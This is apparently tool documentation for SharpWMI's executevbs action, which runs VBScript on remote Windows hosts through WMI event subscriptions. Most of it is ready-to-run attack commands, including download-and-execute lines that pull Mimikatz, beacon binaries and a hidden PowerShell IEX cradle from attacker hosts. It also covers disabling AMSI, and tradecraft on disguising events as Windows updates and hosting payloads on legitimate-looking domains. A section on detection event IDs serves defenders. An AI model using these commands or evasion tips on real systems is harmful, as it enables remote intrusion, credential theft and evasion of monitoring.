executevbs - SpecterOps Open Source

Overview

The executevbs action executes VBScript payloads through WMI event subscriptions using ActiveScriptEventConsumer. This provides a flexible method for remote code execution with support for downloading scripts, executing commands, and delayed triggers.

This action creates WMI event subscriptions that persist until cleaned up. SharpWMI automatically removes artifacts after execution, but failed operations may leave traces.

Syntax

SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=NAME] [amsi=disable] [trigger=SECONDS] [timeout=SECONDS] [username=DOMAIN\user] [password=Password]

Parameters

Parameter	Required	Description
`action`	Yes	Must be `executevbs`
`computername`	No	Target host(s), comma-separated
`eventname`	No	Name for WMI event subscription. Default: “Debug”
`trigger`	No	Seconds before script executes. Default: 10
`timeout`	No	Script kill timeout in seconds. Default: 12
`amsi`	No	Set to `disable` to bypass AMSI
`username`	No	Username for authentication
`password`	No	Password for authentication

Script Specification Methods

SharpWMI offers 8 different methods to specify VBScript payloads:

Method A: Execute Command via VBScript

Execute an OS command through preset VBScript template:

SharpWMI.exe action=executevbs computername=target.domain.com command="notepad.exe" eventname="Update"

The VBScript template:

Set wmi = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & computer & "\root\cimv2")
Set proc = GetObject("winmgmts:root\cimv2:Win32_Process")
proc.Create "COMMAND", Null, conf, intProcessID

Method B: Download PowerShell Script and Execute

Download PowerShell from URL and execute via stdin:

SharpWMI.exe action=executevbs computername=target.domain.com url="http://attacker.com/Invoke-Mimikatz.ps1" eventname="Update"

The VBScript downloads the script and pipes it to PowerShell’s stdin.

Method C: Download Binary and Execute

Download binary, save to disk, and execute:

SharpWMI.exe action=executevbs computername=target.domain.com url="http://attacker.com/beacon.exe,%TEMP%\update.exe" eventname="Update"

Format: url="SOURCE_URL,TARGET_PATH"

Method D: Download Binary and Execute Custom Command

Download binary and execute with custom parameters:

SharpWMI.exe action=executevbs computername=target.domain.com url="http://attacker.com/payload.exe,%TEMP%\svc.exe" command="%TEMP%\svc.exe -c 192.168.1.100" eventname="Update"

Method E: Execute VBScript from File

Read VBScript from file and execute:

SharpWMI.exe action=executevbs computername=target.domain.com script="C:\payloads\script.vbs" eventname="Update"

Method F: Execute Inline VBScript

Execute VBScript code directly:

SharpWMI.exe action=executevbs computername=target.domain.com script="CreateObject(\"WScript.Shell\").Run(\"notepad.exe\")" eventname="Update"

Method G: Execute Base64-Encoded VBScript

Base64-decode and execute VBScript:

SharpWMI.exe action=executevbs computername=target.domain.com scriptb64="Q3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIikuUnVuKCJub3RlcGFkLmV4ZSIp" eventname="Update"

Method H: Execute Base64-Encoded Script from File

Read base64-encoded VBScript from file:

SharpWMI.exe action=executevbs computername=target.domain.com scriptb64="C:\payloads\script.vbs.b64" eventname="Update"

Usage Examples

Basic VBScript Execution

SharpWMI.exe action=executevbs computername=target.domain.com command="notepad.exe" eventname="MyEvent"

Download and Execute Scenarios

SharpWMI.exe action=executevbs computername=target.domain.com url="http://192.168.1.100/Invoke-Mimikatz.ps1" eventname="WindowsUpdate" amsi=disable

Advanced VBScript Usage

SharpWMI.exe action=executevbs computername=target.domain.com script="CreateObject(\"WScript.Shell\").Run(\"cmd /c whoami > C:\temp\out.txt\")" eventname="Debug"

How It Works

Create Timer Object

Creates __IntervalTimerInstruction to trigger after specified delay

Create Event Filter

Sets up __EventFilter to monitor for timer events

Create Event Consumer

Creates ActiveScriptEventConsumer with VBScript payload

Bind Filter to Consumer

Creates __FilterToConsumerBinding to link filter and consumer

Wait for Execution

Waits for trigger time (default 10 seconds)

Cleanup

Removes timer, filter, consumer, and binding

WMI Event Subscription Details

The execution flow:

__IntervalTimerInstruction fires after trigger seconds
__EventFilter matches the timer event
ActiveScriptEventConsumer executes VBScript
Script runs with KillTimeout of timeout seconds
All WMI objects are deleted after execution

This leaves minimal artifacts compared to persistent WMI backdoors.

Timing Parameters

Default Timing
Fast Execution
Delayed Execution

# Default: trigger after 10 seconds, timeout after 12 seconds
SharpWMI.exe action=executevbs computername=target command="notepad.exe"

Script executes 10 seconds after subscription creation.

timeout should always be greater than trigger to allow the script to execute before being killed.

Operational Scenarios

Scenario 1: Stealthy Beacon Deployment

# Download and execute beacon with delay
SharpWMI.exe action=executevbs computername=target.domain.com url="http://192.168.1.100/beacon.exe,%TEMP%\WindowsUpdate.exe" eventname="WindowsUpdate" trigger=30 timeout=40 amsi=disable username="DOMAIN\admin" password="Password123!"

Scenario 2: Credential Harvesting

# Download and execute Mimikatz
SharpWMI.exe action=executevbs computername=dc.domain.com url="http://192.168.1.100/Invoke-Mimikatz.ps1" eventname="SecurityUpdate" amsi=disable trigger=10 timeout=60

Scenario 3: Custom VBScript Payload

# Execute custom VBScript for lateral movement
$vbs = @'
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100/payload.ps1')"
'@

SharpWMI.exe action=executevbs computername=target.domain.com script="$vbs" eventname="Update" amsi=disable

Scenario 4: Multiple Target Execution

# Execute across multiple systems
SharpWMI.exe action=executevbs computername=ws01,ws02,ws03,ws04 url="http://192.168.1.100/script.ps1" eventname="Maintenance" amsi=disable trigger=5 timeout=15

Remote vs Local Usage

Local Execution
Remote Execution

# Execute on localhost (rarely used)
SharpWMI.exe action=executevbs command="notepad.exe" eventname="Test"

Note: Local execution via WMI event subscriptions is uncommon. Use exec action for local commands.

AMSI Evasion

When amsi=disable is specified:

Registry Modification

Sets HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable to 0

VBScript Execution

VBScript runs with AMSI disabled

Registry Restoration

Original AMSI value is restored after cleanup

SharpWMI.exe action=executevbs computername=target.domain.com url="http://attacker.com/script.ps1" eventname="Update" amsi=disable

Detection Considerations

WMI event subscriptions are a high-fidelity indicator of malicious activity and are heavily monitored.

WMI Event Subscription Detection

Event ID 5858: WMI permanent event subscription
Event ID 5859: WMI event filter activity
Event ID 5861: WMI event consumer registration
Sysmon Event ID 19: WMI event filter activity
Sysmon Event ID 20: WMI event consumer activity
Sysmon Event ID 21: WMI event consumer to filter binding

VBScript Execution Detection

wscript.exe or cscript.exe spawned by scrcons.exe
Parent process: scrcons.exe (Script Event Consumer)
Event ID 4688: Process creation with suspicious parent
ActiveScriptEventConsumer with encoded scripts

Network Detection

WMI queries to root\subscription namespace
Creation of __EventFilter, ActiveScriptEventConsumer, __FilterToConsumerBinding
Multiple WMI connections in succession
DCOM traffic patterns consistent with WMI operations

AMSI Detection

Registry modification to AmsiEnable key
Event ID 4657: Registry value modification
Temporary AMSI bypass in user context

Best Practices

Event Naming

Use legitimate-sounding event names
Avoid obvious names like “Backdoor” or “Shell”
Use Windows Update, Maintenance, Debug
Randomize names across operations

Timing Strategy

Use delays to avoid immediate detection
Allow time to disconnect before execution
Set appropriate timeout values
Don’t use excessively long delays

Payload Delivery

Use HTTPS for downloads when possible
Host payloads on legitimate-looking domains
Use URL shorteners or redirectors
Verify downloads with checksums in VBScript

Cleanup

Let SharpWMI handle automatic cleanup
Verify subscriptions are removed
Check for orphaned event consumers
Monitor for failed cleanup operations

Comparison with exec Action

Feature	executevbs	exec
Execution Method	WMI Event Subscription	Win32_Process.Create
Timing	Delayed (configurable)	Immediate
Payload Type	VBScript	Command line
Artifacts	Event subscriptions	Process creation
Complexity	Higher	Lower
Flexibility	Very high	Moderate
Detection Risk	Higher (event subs monitored)	Moderate
Use Case	Complex payloads, downloads	Simple commands

Troubleshooting

Exception in Creating Timer Object

Cause: WMI permissions or service issueSolution:

Verify WMI service is running
Check admin privileges
Test with local WMI query first
Verify root\cimv2 namespace access

Exception in Setting Event Filter

Cause: Subscription namespace access deniedSolution:

Ensure admin rights on target
Check root\subscription namespace permissions
Verify WMI filter quota not exceeded
Try different event name

Script Doesn't Execute

Cause: Timeout too short or script errorSolution:

Increase timeout parameter
Test VBScript locally first
Check for syntax errors
Verify URLs are accessible from target

AMSI Evasion Failed

Cause: Insufficient privileges or EDR blockingSolution:

Verify admin context
Check for EDR protecting registry
Try alternative AMSI bypass
Test registry modification manually

exec

Simpler command execution method

upload

Upload files before VBS execution

query

Verify event subscriptions

ps

Check for script execution

Additional Resources

Check for Existing Event Subscriptions

# List event filters
SharpWMI.exe action=query query="SELECT Name,Query FROM __EventFilter" namespace="root\subscription"

# List event consumers
SharpWMI.exe action=query query="SELECT Name,ScriptText FROM ActiveScriptEventConsumer" namespace="root\subscription"

# List bindings
SharpWMI.exe action=query query="SELECT Filter,Consumer FROM __FilterToConsumerBinding" namespace="root\subscription"

Manual Cleanup (if needed)

# Remove event filter
Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='EventName'" | Remove-WmiObject

# Remove event consumer
Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer -Filter "Name='EventName'" | Remove-WmiObject

# Remove binding
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object { $_.Filter -match 'EventName' } | Remove-WmiObject

Getting Started

Enumeration Actions

Execution Actions

File Operations

Environment Variables

​Overview

​Syntax

​Parameters

​Script Specification Methods

​Method A: Execute Command via VBScript

​Method B: Download PowerShell Script and Execute

​Method C: Download Binary and Execute

​Method D: Download Binary and Execute Custom Command

​Method E: Execute VBScript from File

​Method F: Execute Inline VBScript

​Method G: Execute Base64-Encoded VBScript

​Method H: Execute Base64-Encoded Script from File

​Usage Examples

​Basic VBScript Execution

​Download and Execute Scenarios

​Advanced VBScript Usage

​How It Works

​Timing Parameters

​Operational Scenarios

​Scenario 1: Stealthy Beacon Deployment

​Scenario 2: Credential Harvesting

​Scenario 3: Custom VBScript Payload

​Scenario 4: Multiple Target Execution

​Remote vs Local Usage

​AMSI Evasion

​Detection Considerations

​Best Practices

Event Naming

Timing Strategy

Payload Delivery

Cleanup

​Comparison with exec Action

​Troubleshooting

​Related Actions

exec

upload

query

ps

​Additional Resources

Overview

Syntax

Parameters

Script Specification Methods

Method A: Execute Command via VBScript

Method B: Download PowerShell Script and Execute

Method C: Download Binary and Execute

Method D: Download Binary and Execute Custom Command

Method E: Execute VBScript from File

Method F: Execute Inline VBScript

Method G: Execute Base64-Encoded VBScript

Method H: Execute Base64-Encoded Script from File

Usage Examples

Basic VBScript Execution

Download and Execute Scenarios

Advanced VBScript Usage

How It Works

Timing Parameters

Operational Scenarios

Scenario 1: Stealthy Beacon Deployment

Scenario 2: Credential Harvesting

Scenario 3: Custom VBScript Payload

Scenario 4: Multiple Target Execution

Remote vs Local Usage

AMSI Evasion

Detection Considerations

Best Practices

Comparison with exec Action

Troubleshooting

Related Actions

Additional Resources